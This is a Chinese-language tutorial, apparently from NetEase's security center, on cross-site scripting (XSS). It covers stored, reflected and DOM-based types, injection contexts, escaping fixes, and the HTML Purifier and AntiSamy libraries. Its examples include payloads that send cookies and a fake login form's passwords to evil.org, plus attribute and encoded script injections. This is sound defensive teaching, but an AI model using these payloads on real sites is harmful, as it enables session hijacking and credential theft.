什么是XSS?
跨站脚本(Cross-Site Scripting)简称XSS,是指攻击者在有安全缺陷的web页面中注入恶意的代码,通常大部分是javascript脚本,当普通用户浏览该网页时,嵌入其中的恶意脚本被执行。
有什么危害?
1、窃取Cookie,冒充其他用户操作
2、读取、篡改、添加或删除敏感数据
3、发送电子邮件
4、网站钓鱼
5、DDos攻击
有哪些类型?
粗粒度可以划分为3种类型:
1、存储型(持久型)
2、反射型(非持久型)
3、基于DOM型
例子3-1:存储型XSS样例
在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容
|
<script> document.body.innerHTML=”<h1>Please Login</h1><form action=http://evil.org/grabpassword.jsp method=post><br>User name:<input type=text name=user><br>Password:<input type=text name=password></p><input type=submit name=login></form>” </script> |
当其他用户浏览该帖子时,就会弹出登录框,如图

例子3-2:反射型XSS样例
假设一个可信网站http://www.trusted.com/example.jsp?param1=value1¶m2=
参数param2存在XSS注入,将param2的内容不加处理的输出到页面上。
攻击者设置
|
param2=<script>document.write(‘<img src=”http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+'”/>’)</script> |
如下的超链接,www.trusted.com这个网站的已登录用户去点击,cookie会被发送到evil.org上去。
|
http://www.trusted.com/example.jsp?param1=value1¶m2=%3Cscript%3Edocument.write(‘%3Cimg%20src=%22http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+’%22/%3E’)%3C/script%3E |
例子3-3:基于DOM型XSS样例
相比较与Reflected、Stored XSS属于server side execution issues而言,DOM based XSS 是client(browser) side execution issue。
如下面请求的hash部分,由客户端JS动态执行产生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframe onload=alert(‘xss’)\u003e
|
<body> <div id=”m”></div> <script> var y=location.hash.substring(1); document.getElementById(“m”).innerHTML = y; </script> </body> |
动态生成
|
<div id=”m”><iframe onload=”alert(‘xss’)”></iframe></div> |
常见的注入方式
1、HTML-Context
用户的输入直接输出到网页上。
|
<div>用户输入内容</div> 如:<div><script>alert(‘xss’);</script></div> |
解决办法:输出转义
| 需转义的字符 | < | > | “ | ‘ |
| 转义成 | < | > | &guot; | ' |
安全输出:
|
<div><script>alert('xss');</script></div> |
2、HTML-Attribute
|
<img src=”用户输入内容” /> 输入数据:/notfound.jpg” onerror=alert(/xss/);// 得到输出: <img src=”/notfound.jpg” onerror=”alert(/xss/);//”” /> |
这里通过闭合双引号,注入onerror事件属性。
解决办法:
对双引号括起来的内容,转义用户输入中的双引号。
对单引号括起来的内容,转义用户输入中的单引号。
安全输出:
|
<img src=”notfound.jpg" onerror=alert(/xss/);//”> |
3、 HTML URL Parameter Values
|
<a href=”用户输入内容” target=”_blank”>Search</a> 输入数据 http://www.webapp.com/search.jsp?key=” onmouseover=alert(/xss/);// 得到输出:<a href=”http://www.webapp.com/search.jsp?key=” onmouseover=alert(/xss/);//” target=”_blank”>Search</a> |
解决办法:
对于URL值的转义,需要使用URL编码,这里不能使用上面例子中的"转义
|
<a href=”http://www.webapp.com/search.jsp?key=%22%20onmouseover=alert(/xss/);//” target=”_blank”>Search</a> |
4、HTML Subcontext within the Execution Context
|
<script> var a = “用户输入内容”; document.write(a); </script> 输入数据:<script>alert(‘XSS’)</script> 如果< >” ‘编码成< > " '了 得到输出 <script>alert('XSS')</script> 但是危险还没有消除 输入: \x3cscript\x3ealert(\x27XSS\x27)\x3c/script\x3e 得到输出:<script>alert(‘XSS’)</script> |
解决办法:可以先HTML Escape 再JavaScript Escape
|
document.write(“<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”); element.innerHTML=”<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”; |
5、突破字符数量限制
|
<script> 假设这里能注入,但长度受到限制,不能写入丰富JS; ……//other code </script> <script> eval(unescape(x.innerHTML)); ……//other code </script> |
6、FLASH注入XSS
|
<embed src=”flash地址” allowscriptaccess=”always”> |
AllowScriptAccess参数,它可以用来控制是否允许执行来自swf本身对外脚本。
always 都允许
samedomain 只允许同域名下的
never 都不允许

上面我们抛砖引玉,举了几个简单的XSS注入样例,在实际的安全检测中,分析人员在会引用外部输入数据的地方尽可能尝试各种注入内容,通过闭合、编码、引用其他安全域数据进行渗透,所以千万不能掉以轻心哦!
开源的XSS防御产品
1、HTML Purifier
HTML Purifier是一个通过白名单方式来移除恶意代码(XSS),并确保你的页面遵循W3C的标准规范的PHP类库。适用于PHP编写web项目。
简单的使用
|
require_once ‘/path/to/HTMLPurifier.auto.php’; $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $clean_html = $purifier->purify($dirty_html); |
产品主页:http://htmlpurifier.org/
2、OWASP AntiSamy Project
提供用于验证用户输入的富文本以防御跨站脚本的API。适用于java编写web项目。它提供了一些标准策略文件,根据自己产品的实际需求,在此基础上配置一份适合自己产品的策略文件。
antisamy-tinymce-X.X.X.xml
antisamy-slashdot-X.X.X.xml
antisamy-ebay-X.X.X.xml
antisamy-myspace-X.X.X.xml
antisamy-anythinggoes-X.X.X.xml
简单的使用
|
import org.owasp.validator.html.*; Policy policy = Policy.getInstance(POLICY_FILE_LOCATION); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(dirtyInput, policy); |
产品主页:https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
来自网易安全中心:https://aq.163.com/module/pedia/article-00016.html

